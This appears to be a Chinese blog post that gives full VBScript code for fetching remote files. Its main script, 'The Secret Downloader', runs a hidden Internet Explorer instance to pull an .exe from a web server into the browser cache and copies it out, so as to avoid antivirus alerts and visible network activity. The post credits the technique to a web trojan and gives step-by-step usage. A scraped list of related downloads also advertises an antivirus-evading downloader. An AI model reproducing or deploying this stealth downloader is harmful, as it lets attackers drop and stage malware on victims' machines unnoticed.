使用vbs下载文件
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2
当你把这段代码保存为vbs的时候,杀毒软件可能就开始报警了;而且使用中cscript.exe会访问网络,不太隐蔽。
那么,有没有更好的方法呢?答案很明显:-)
我们可以利用一个叫InternetExplorer.Application的对象(其实就是个IE啦)下载文件。但是貌似这个组件不能直接下载保存文件,只好曲线救国了。因为IE是把文件下载到本地缓存的,我们可以让IE组件先把文件下载到缓存,然后再从缓存找到并copy至我们需要保存的位置。其实这个思路是从一个网马看到的:)
为了让IE把我们的exe文件下载到本地缓存,我们需要有一个网页把exe文件包含进去。比如:<script src="520.exe"></script>。这样当IE访问该页面的时候就会把520.exe当成js脚本保存到本地缓存了。保存的命名一般是520[1].exe,IE临时文件的位置可以从注册表键值 HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory 中读取。
好了,不废话,看代码:
'=============================
' get.vbs
' by lake2
'=============================
If WScript.Arguments.Count <> 3 Then
WScript.Echo ""
WScript.Echo "======= The Secret Downloader 0.1 ================"
WScript.Echo " by lake2 "
WScript.Echo "Usage: CScript /nologo" & WScript.ScriptName & " [URL] [RemoteName] [LocalFile]"
WScript.Echo "Example: CScript /nologo" & WScript.ScriptName & "http://www.0x54.org/lake.htm 520.exe c:\520.exe"
WScript.Echo "=================================================="
WScript.Quit
End If
URL = WScript.Arguments(0)
exeName = WScript.Arguments(1)
If InStr(exeName, ".") > 0 Then
tmp = Left(exeName,InStrRev(exeName, ".")-1)
tmp2 = Right(exeName,Len(exeName) - InStrRev(exeName, ".") + 1)
FindFileName = tmp & "[1]" & tmp2
End If
LocalName = WScript.Arguments(2)
set ie=wscript.createobject("internetexplorer.application")
ie.visible = 0
ie.navigate URL
WScript.Echo "[+]Create and Exec IE to your HTTP Server ..."
WScript.Sleep(5000)
ie.quit
WScript.Echo "[+]Get the file ..."
set objshell= WScript.Createobject("WScript.Shell")
strValue = objshell.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory")
ShowAllFile(strValue)
WScript.Echo "[-]download Fail
"
Sub ShowAllFile(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then
FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, LocalName
WScript.Echo "[+]Download Success !"
WScript.Quit
End If
ShowAllFile path&"\"&f1.name
Next
Set FSO = Nothing
End Sub
使用方法:
1、在你的web目录放上一个htm文件,内容包含要下载的文件。如:<script src=520.exe></script>
2、CScript get.vbs 第一步的网页URL 网页包含的文件名 本地保存路径
例子:CScript get.vbshttp://www.0x54.org/lake2/get.htm whoami.exe c:\who.exe
PS:脚本使用了5秒钟作为下载文件的时间,可以改成等待下载完毕再继续的,不过基本上够用,懒得改了-_-
分享到:
相关推荐
使用vbs下载文件.pdfaaaaaaaaaaaaaaaaaaaa
西门子WinCC 如何使用 VBS 调用文件打开对话框pdf,本文介绍了在WinCC 中如何使用 VBS 调用文件打开对话框,系统环境 XP SP3, IE 6.0 SP3。
使用vbs读写文件(Adodb.Stream)方式,防止乱码
可以躲过杀毒软件的vbs下载网络文件并保存为本地的加强版代码
WINCC中使用VBS脚本读写SQLServer数据库文件WINCC中使用VBS脚本读写SQLServer数据库文件WINCC中使用VBS脚本读写SQLServer数据库文件WINCC中使用VBS脚本读写SQLServer数据库文件
wincc中使用VBS脚本读写SQLServer数据库文件
用vbs实现文件下载的代码,CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用。
WPS默认安装以后可能不能运行宏,需要安装VBA 宏模块,只需要下载以后点击双击安装即可
VBS 生成文件 MD5 VBS 生成文件 MD5 VBS 生成文件 MD5 VBS 生成文件 MD5 VBS 生成文件 MD5
VBS实例 44个 vbs脚本实例, ...后台字典文件管理器.vbs 定时关机.vbs 列出管理工具集.vbs 旁注查询工具.vbs 中文姓名笔画计算(VBS脚本版).vbs 利用VB编写文本朗读精灵.vbs 。。。。。。。。。。。
VBS文档资料
于是自己写了个vbs脚本,监听某目录下所有coffee文件,如有变化自动编译成js。 原理是无限循环扫描目录,比对coffee文件MD5值是否变化,不等则执行dos命令编译。退出需删除进程。 需要的人可以改写成监听其它类型...
简单的登录界面,使用vbs文件调用bat格式形式,来调用其他模块儿。使用sprintboot技术。
wincc使用VBS脚本操作趋势曲线,此文件对1月份的所发布趋势曲线增加删除的补充,添加一个个人例子
VBS读写文件及创建、删除文件
vbs脚本文件..........................................
vbs 合并word文档
VBS读写INI文件: 读写Ini文件函数: IniFilePath支持相对路径 (".",".."等) Function ReadIniVar(IniFilePath, IniSection, IniKey, IniDefVal) Sub WriteIniVar(IniFilePath,IniSection, IniKey, IniKeyVal)
vbs写的移动文件。通过cmd调用,读取路径参数
VBS读写文件以及创建文件后在删除该文件